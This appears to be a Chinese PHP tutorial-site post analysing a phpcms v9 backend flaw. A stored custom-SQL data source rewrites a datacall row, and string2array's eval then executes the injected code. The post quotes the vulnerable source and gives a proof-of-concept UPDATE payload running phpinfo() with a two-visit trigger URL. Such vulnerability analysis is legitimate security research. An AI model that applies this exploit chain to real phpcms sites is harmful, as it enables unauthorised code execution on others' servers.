网站地图    收藏   

主页 > 后端 > 网站安全 >

phpcms v9后台远程代码执行漏洞(第三弹) - 网站

来源:自学PHP网    时间:2015-04-16 23:14 作者: 阅读:

[导读] 前台了来了几期,干脆来个后台代码执行。记住。。。这是后台2次SQL执行漏洞。。。看分析。。。phpcms 官方给力点,到时候俺给你还来几发 在phpcms modules dbsource data php中add 方法方法很...

前台了来了几期,干脆来个后台代码执行。
 
记住。。。这是后台2次SQL执行漏洞。。。看分析。。。
 
phpcms 官方给力点,到时候俺给你还来几发....
 
在phpcms\modules\dbsource\data.php中add 方法
 
方法很猥琐。。。。
 
public function add() {

pc_base::load_app_func('global');

if (isset($_POST['dosubmit'])) {

$name = isset($_POST['name']) && trim($_POST['name']) ? trim($_POST['name']) : showmessage(L('name').L('empty'));

$dis_type = isset($_POST['dis_type']) && intval($_POST['dis_type']) ? intval($_POST['dis_type']) : 1;

$cache = isset($_POST['cache']) && intval($_POST['cache']) ? intval($_POST['cache']) : 0;

$num = isset($_POST['num']) && intval($_POST['num']) ? intval($_POST['num']) : 0;

$type = isset($_POST['type']) && intval($_POST['type']) ? intval($_POST['type']) : 0;

//检查名称是否已经存在

if ($this->db->get_one(array('name'=>$name)))  {

showmessage(L('name').L('exists'));

}

$sql = array();

if ($type == '1') { //自定义SQL

$data = isset($_POST['data']) && trim($_POST['data']) ? trim($_POST['data']) : showmessage(L('custom_sql').L('empty'));// 这里漏洞点,这里通过获取form表单中的data数据,这里为我们构造好的sql语句

$sql = array('data'=>$data);

} else { //模型配置方式

$module = isset($_POST['module']) && trim($_POST['module']) ? trim($_POST['module']) : showmessage(L('please_select_model'));

$action = isset($_POST['action']) && trim($_POST['action']) ? trim($_POST['action']) : showmessage(L('please_select_action'));

$html = pc_tag_class($module);

$data = array();

if (isset($html[$action]) && is_array($html[$action])) {

foreach ($html[$action] as $key=>$val) {

$val['validator']['reg_msg'] = $val['validator']['reg_msg'] ? $val['validator']['reg_msg'] : $val['name'].L('inputerror');

$$key = isset($_POST[$key]) && trim($_POST[$key]) ? trim($_POST[$key]) : '';

if (!empty($val['validator'])) {

if (isset($val['validator']['min']) && strlen($$key) < $val['validator']['min']) {

showmessage($val['name'].L('should').L('is_greater_than').$val['validator']['min'].L('lambda'));

} 

if (isset($val['validator']['max']) && strlen($$key) > $val['validator']['max']) {

showmessage($val['name'].L('should').L('less_than').$val['validator']['max'].L('lambda'));

} 

if (!preg_match('/'.$val['validator']['reg'].'/'.$val['validator']['reg_param'], $$key)) {

showmessage($val['name'].$val['validator']['reg_msg']);

}

}

$data[$key] = $$key;

}

}

$sql = array('data'=>array2string($data), 'module'=>$module, 'action'=>$action);

}



if ($dis_type == 3) {

$sql['template'] = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : '';

}

//初始化数据

$sql['name'] = $name;

$sql['type'] = $type;

$sql['dis_type'] = $dis_type;

$sql['cache'] = $cache;

$sql['num'] = $num;

if ($id = $this->db->insert($sql,true)) { //关键地方,这里写入我们的SQL语句,这里的SQL语句可以由我们上面的$data获得

 

 
 
这里成功写入我们的sql语句如下
 
我们构造好如下data 为
 
update v9_datacall set module='announce',action='pc_tag',data='phpinfo();',type='2' where name=123;

 

 
 
我们再次看看phpcms\modules\dbsource\call.php
 
public function get() {

$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : exit();

if ($data = $this->db->get_one(array('id'=>$id))) {

if (!$str = tpl_cache('dbsource_'.$id,$data['cache'])) {

if ($data['type'] == 1) { //自定义SQL调用

$get_db = pc_base::load_model("get_model");

$sql = $data['data'].(!empty($data['num']) ? " LIMIT $data[num]" : '');

//echo $sql;

$r= $get_db->query($sql);

while(($s = $get_db->fetch_next()) != false) {

$str[] = $s;

}

} else {

$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$data['module'].DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.$data['module'].'_tag.class.php';

//echo $filepath;

if (file_exists($filepath)) {



$pc_tag = pc_base::load_app_class($data['module'].'_tag', $data['module']); 

//var_dump($pc_tag);

if (!method_exists($pc_tag, $data['action'])) {

exit();

}



$sql = string2array($data['data']);//这里真正触发漏洞,产生远程代码执行,这里必须通过2次访问链接,导致远程代码执行

$sql['action'] = $data['action'];

$sql['limit'] = $data['num'];

 

 
 
 
 
我们贴出该函数
 
function string2array($data) {

if($data == '') return array();

@eval("\$array = $data;");//代码执行鸟了。。。。

return $array;

}

 

 
 
 
说下具体过程
 
当我们在数据源那里添加数据源调用
 
其中名称为123
 
然后我们访问调用链接如下
 
http://127.0.0.1/v9/index.php?m=dbsource&c=call&a=get&id=19
 
我们必须访问2次,因为第一次执行的时候,执行的是更改type为2 ,
 
update v9_datacall set module='announce',action='pc_tag',data='phpinfo();',type='2' where name=123;
 
详情就看看上面的call.php中的分析了
 
当我们访问2次的时候,我们的代码就到
 
} else {

$filepath = PC_PATH.'modules'.DIRECTORY_SEPARATOR.$data['module'].DIRECTORY_SEPARATOR.'classes'.DIRECTORY_SEPARATOR.$data['module'].'_tag.class.php';

//echo $filepath;

if (file_exists($filepath)) {



$pc_tag = pc_base::load_app_class($data['module'].'_tag', $data['module']); 

//var_dump($pc_tag);

if (!method_exists($pc_tag, $data['action'])) {

exit();

}



$sql = string2array($data['data']);

 

 
到这里执行了
 



 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论